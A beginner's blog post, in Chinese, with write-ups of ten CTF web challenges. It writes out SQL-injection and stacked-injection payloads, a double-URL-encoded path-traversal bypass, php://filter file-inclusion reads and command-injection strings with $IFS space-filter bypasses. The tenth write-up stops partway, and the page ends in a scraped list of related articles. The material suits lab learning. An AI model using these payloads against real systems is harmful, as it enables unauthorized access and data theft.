今天学习了一下web感觉受益匪浅,小做几道题练练手,纯新手勿喷
————————————————————————————————————————————

第一题:[极客大挑战 2019]EasySQL


首先思考的便是最简单的登录绕过。

在逻辑上面,当点击登录按钮后会取你输入框的值与数据库中进行对比。

select * from user where username='admin' and password ='admin'

登录绕过是最基础的,就是要将这句SQL语句给屏蔽掉,进而让此语句的执行结果始终为真。

输入下面万能密码

' or '1'='1

当执行此语句时 ,就会变成`

select * from user where username='admin' and password ='admin' or '1'='1'

此时的 1=1 恒为真,在 状态下有一个为真则始终为,此时可绕过登录。

得到flag。

除了万能密码之外,还有万能账号,如下

admin' or 1=1#

在执行之后,sql语句如下所示:

select * from user where username='admin' or 1=1# and password ='admin'

此时,#会注释掉and后面的内容,而由于1=1始终为真,此时也可绕过登录。

得到的flag如下。

————————————————————————————————————————————

第二题:WarmUp

题目如下:

首先 , F12查看一下源代码,发现里面告知了有一个PHP文件。

打开下面的source.php 可以看到一段代码。

根据上图我们发现还有一个提示叫hint.php,打开看一下,发现有这样一段提示。


再返回到上一个source.php页面,分析代码,发现以下几点内容:

1.看到最后面有一张图片,发现这下面有一段链接,保存复制后发现就是那个滑稽的表情,证明此处是if函数并未满足前面的一个条件,所以才输出了该图片。

2.重点分析此段代码。

 if (! empty($_REQUEST['file'])   //检查变量是否为空,应不能为空&& is_string($_REQUEST['file'])    //判断是否为字符串,应为字符串&& emmm::checkFile($_REQUEST['file'])  //调用checkFile函数,应返回为true) {include $_REQUEST['file'];    //此处有文件exit;}

3.上述提到了checkFile函数,所以此处也要分析一下。

  highlight_file(__FILE__); //打印代码class emmm  //定义emmm类{public static function checkFile(&$page)//将传入的参数赋给$page{$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串echo "you can't see it";//输出"you can't see it"return false;//返回false}if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中return true;//返回true}$_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page$page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);//url解码$page$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?')   //phpMyAdmin 4.8.0和4.8.1远程文件包含漏洞);if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}

上述四个if分别表示:
①判断是否为字符串。
②判断page是否在page是否在page是否在whitelist数组中
③截取page中′?′前一部分,判断是否在page中'?'前一部分,判断是否在page中′?′前一部分,判断是否在whitelist数组中
④判断url解码并截取后的page是否存在于page是否存在于page是否存在于whitelist中

4.在上述的第四个if语句中,我们可以通过先对?进行2次url编码,此时服务端解码一次,checkFile函数解码一次,结果仍是’?',可以绕过。

5.根据hint.php中的提示,ffffllllaaaagggg有四层,由此可以推断出前面有四层目录。

6.先构造能够正常打开file文件的语句

source.php?file=hint.php?

此时可以看到图片已经没了

然后将ffffllllaaaagggg加进去,注意此时有四层,所以payload应该构造如下所示:

source.php?file=hint.php?/../../../../ffffllllaaaagggg

可以得到flag,调整一下语句,把source.php给去掉。

http://URL/?file=hint.php?/../../../../ffffllllaaaagggg

此时则直接进入到该文件中。

————————————————————————————————————————————

第三题:Havefun


一只猫,点来点去没反应,看看F12吧。

果然,给出了提示。

意思是需要给出一个get变量,如果给出的变量是cat=dog的话就会输出后面那个东西,看格式估计是flag了。

构造如下:

http://URL/?cat=dog

果然,得到flag。


————————————————————————————————————————————

第四题:Include


看到当?file=flag.php时,页面返回Can you find out the flag。先输入?file=/etc/passwd,确认一下有没有返回,是否真的有文件包含的漏洞。


看到确实存在文件包含漏洞,但目前又没有其他的信息。

所以此处需要使用到伪协议


先尝试第一种方式,构造?file=php://filter/resource=index.php,发现没有回显。

再尝试构造第二种方式,?file=php://filter/read=convert.base64-encode/resource=index.php,发现有回显。

将得到的base64加密丢去解密,解密出来发现如下:

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){exit('hacker!');
}
if($file){include($file);
}else{echo '<a href="?file=flag.php">tips</a>';
}
?>

发现并没有过滤我们这个文件头,大胆的修改为?file=php://filter/convert.base64-encode/resource=flag.php,得到一串base64加密的字符串。


解密得到flag。

————————————————————————————————————————————

第五题:随便注

先顺着几个数字试一下。。。。。


只有这两个可以看到内容,后面的数字都不行了。

首先尝试一下万能注入,发现有三部分内容。

1' or 1=1 #

然后开始测试字段数,当字段数为3时会报错,说明此处只有2个字段。

1' order by 1 #


接着尝试使用union select 爆字段,回显了过滤的关键字。

1' union select 1,2#

发现上面的关键字都被过滤不能使用了,没法进行注入,这个时候尝试一下堆叠注入。

利用堆叠注入,查询所有数据库。原理很简单,就是通过 ; 号注入多条SQL语句。 前面一句执行完后再执行后面的show databases

0'; show databases; #

然后用 show tables 尝试爆表。

0'; show tables; #

可以看到这里有两个表,我们先尝试爆words表的内容,再尝试爆数字表的内容。

1'; show columns from words; #
1';show columns from `1919810931114514`;


借鉴别人。

1,通过 rename 先把 words 表改名为其他的表名。
2,把 1919810931114514 表的名字改为 words 。
3,给新 words 表添加新的列名 id 。
4,将 flag 改名为 data 。

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#


得到flag{8e58f44c-b7a1-484e-8954-3193fc54e7a9}。

————————————————————————————————————————————

第六题:[ACTF2020 新生赛]Exec

先试一下ping 127.0.0.1,发现可以ping通。

输入127.0.0.1| ls /,尝试查看根目录下的子目录,发现可以。

发现有flag,直接进入到flag目录下面去读他的内容,127.0.0.1| cat /flag

————————————————————————————————————————————

第七题:[SUCTF 2019]EasySQL

与前面一题有一些类似,所以首先尝试一下堆叠注入,1;show databases;

发现可以爆出数据库名,flag肯定就是放在ctf这个库下面的。

接下来尝试爆破数据表,1;show tables;


发现有两个表

尝试直接读一下flag里面的列,1;show columns from Flag;,发现被拒绝了。


再尝试一下1;select flag from Flag;,果然还是被拒绝了,肯定是关键词flag被屏蔽掉了。

不会了,看大佬的文章去了。

这道题目需要我们去对后端语句进行猜解1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||2、也就是select 输入的数据||内置的一个列名 from 表名=>即为后台语句为:select $post['query']||flag from Flag

所以我们要解决的问题是 || 或这个问题

测试语句:1;set sql_mode=PIPES_AS_CONCAT;select 1

拼接效果为:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag


所以说
第一种解法:1;set sql_mode=PIPES_AS_CONCAT;select 1,其中set sql_mode=pipes_as_concat是将||的作用由or变为拼接字符串

第二种解法:*,1,也就是 select $_post['query']||flag from Flag$_post['query']换成*,1,也就变成了select *,1||flag from Flag这样就可以输出flag了

————————————————————————————————————————————

第八题:[极客大挑战 2019]Secret File

首先直接F12查看源代码,应该可以找到蛛丝马迹。


进去后看到一个secret,点击进去。

发现显示的是直接查阅结束了,中间肯定有一个页面被直接给跳过去了,用BP抓包看看。

抓到了,进去看看。


看到了一段源代码,提示flag在flag.php里面。


直接查看flag.php看一看,发现换了个页面,但是里面内容还是看不到。


尝试伪协议,打开hackbar输入下面地址:

http://URL/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

得到flag如下:

开始进行base64解码,得到一段源码。

<!DOCTYPE html>
<html><head><meta charset="utf-8"><title>FLAG</title></head><body style="background-color:black;"><br><br><br><br><br><br><h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br><p style="font-family:arial;color:red;font-size:20px;text-align:center;"><?phpecho "我就在这里";$flag = 'flag{4506defa-c6d2-4a9d-b04e-f58997d32ac5}';$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'?></p></body>
</html>

提交flag即可。

————————————————————————————————————————————

第九题:[GXYCTF2019]Ping Ping Ping

先尝试ping一下127.0.0.1,发现有回显。

然后直接尝试查看子目录,发现好像符号被过滤掉了。

http://c0e3e9a7-bd65-4fe5-a322-fe3a28064bf5.node4.buuoj.cn:81/?ip=127.0.0.1| ls /


再直接试一下不加符号的,发现对空格好像也有屏蔽。

http://c0e3e9a7-bd65-4fe5-a322-fe3a28064bf5.node4.buuoj.cn:81/?ip=127.0.0.1| ls

http://c0e3e9a7-bd65-4fe5-a322-fe3a28064bf5.node4.buuoj.cn:81/?ip=127.0.0.1|ls

绕过空格屏蔽可采用以下方法。

$IFS
${IFS}
$IFS$1     //可以是任意数字
<
<>
{cat,flag.php}
%20
%09

直接查看flag,发现flag也被屏蔽了。。。。


没办法了,只有从index开始下手。

http://c0e3e9a7-bd65-4fe5-a322-fe3a28064bf5.node4.buuoj.cn:81/?ip=127.0.0.1|cat$IFS$1index.php


屏蔽了以上符号,不过我们可以钻一下符号的漏。

http://c0e3e9a7-bd65-4fe5-a322-fe3a28064bf5.node4.buuoj.cn:81/?ip=127.0.0.1|cat$IFS$1`ls`


成功找到flag。

————————————————————————————————————————————

第十题:[极客大挑战 2019]LoveSQL

首先尝试一下万能注入,提示给出了密码。

在线的MD5解密解不出来,丢到自己的MD5爆破脚本去试一下。

从0到1的CTF之旅————Web(1)相关推荐

  1. CTF之旅WEB篇(3)--ezunser PHP反序列化

    一.审题 对方朝你扔过来一串代码(当然这次又是蹭的题只说过程和思路): <?php highlight_file(__FILE__); class A{public $name;public $ ...

  2. 从0到1的CTF之旅————Crypto(2)

    端午节快到了,终于可以放假了,奈斯~ 放假时也得提升自己哦,开始学习,又要做题咯,废话少说,现在开始 -------------------------------------------- 第十一题 ...

  3. CTF之旅WEB篇(4)--NewStarCTF 公开赛IncludeOne详解

    前言: 在看这篇wp之前首先我们要了解文件包含,php伪协议读取,rot13编码,其具体含义即用法自行上网搜索,在文中不做进一步解释. 一.审题 扔给了我们一个道具?暂时还不知道这是要干嘛,所以我们进 ...

  4. 从0到1Python数据科学之旅

    时值蚂蚁上市之际,马云在上海滩发表演讲.马云的核心逻辑其实只有一个,在全球数字经济时代,有且只有一种金融优势,那就是基于消费者大数据的纯信用! 我们不妨称之为数据信用,它比抵押更靠谱,它比担保更保险, ...

  5. 从0到1学习CTF WEB

    从0到1学习CTF WEB web前置技能 信息泄漏 密码口令 SQL注入 基础比较薄弱,准备逐题刷CTFHub的web类型题目顺便学习一下web方面的安全知识. web前置技能 1.请求方式: 隐藏 ...

  6. 封神台—高校靶场ctf—第一期Web web_008

    封神台-高校靶场ctf-第一期Web web_008 web_008 php审计 难度:⭐⭐ 首先咱们观察提示获取源码,这时第一想到的就是查看网页源码咱们先点开传送门来看一下题 一个可以提交数据到服务 ...

  7. CTF论剑场(web) write up 未完待续

    CTF论剑场(web) write up web26 直接给你一串代码 <?php $num=$_GET['num']; $str=$_GET['str']; show_source(__FIL ...

  8. ZLMS教学管理平台系统V1.2.0最新版本发布,支持纯Web视频直播点播,还带运营在线支付功能!完全免费提供!...

    ZLMS教学管理平台系统V1.2.0最新版本发布,支持纯Web视频直播,点播!还带在线支付功能! ZLMS 开发团队在综合参考了各方面的合理建议之后,经过两个多月的紧张开发及测试,终于发布V1.2.0 ...

  9. 封神台——高校靶场ctf——第一期Web web_001

    封神台-高校靶场ctf-第一期Web web_001 web_001 签到 难度:⭐ 首先点击传送门打开相应的题目可以看到 这样一个画面,一个链接不到的反应,但题目以及告诉,F12就完事. 显然答案没 ...

最新文章

  1. HTML5全屏API
  2. SpringBoot 集成 druid 监控数据库报错 Failed to bind properties under ‘xxxx‘ to javax.sql.DataSource 解决(含配置源码)
  3. mysql导出bacpac_数据库的迁移
  4. group by rollup
  5. LeetCode 575. 分糖果(set集合去重)
  6. 32bit win7 在VMWARE中安装64位的redhat LINUX4.7
  7. 二、python_base
  8. 计算机原理实验的35h,微机原理及接口技术习题解答与实验指导
  9. 开发落网电台windows phone 8应用的计划(9)
  10. 远程登录 - telnet、mstsc等工具的使用及遇到的问题
  11. 机器学习笔记(四)BP神经网络模型
  12. 会员管理系统单机版哪里有?
  13. python函数之任意数量的实参
  14. 为什么学小易显示服务器开小差,学小易搜题APP
  15. java对外接口安全问题_怎么保证对外暴露接口的安全性(调用频率限制)
  16. 艾司博讯:拼多多一件代发操作步骤
  17. mybatis-plus配置(包含分页插件)
  18. 如何将控制台程序发布为服务
  19. Cisco anyconnect 连接成功浏览器无法访问任何网页
  20. navicat mysql 存储过程_navicat怎么创建存储过程

热门文章

  1. Nokia s60v5 j2me禁用softkeypad
  2. potplayer快捷键
  3. 博客发在oschina
  4. SQL server in 用法
  5. SQL优化 —— in与not in
  6. 一名学生A希望访问网站www.google.com。学生A在其浏览器中输入http://www.google.com并按回车.....
  7. 平头哥玄铁CPU调试系统介绍
  8. 怎么用EDIUS将静帧图片做出动态特效
  9. 【Python气象绘图临摹】图像绘制(下):地理子图GeoAxes、xy轴设置、应用ncl色阶colormap、各标题、海岸线、添加文本、添加矩形框
  10. mybatis报错### The error may involve defaultParameterMap ### The error occurred while setting paramete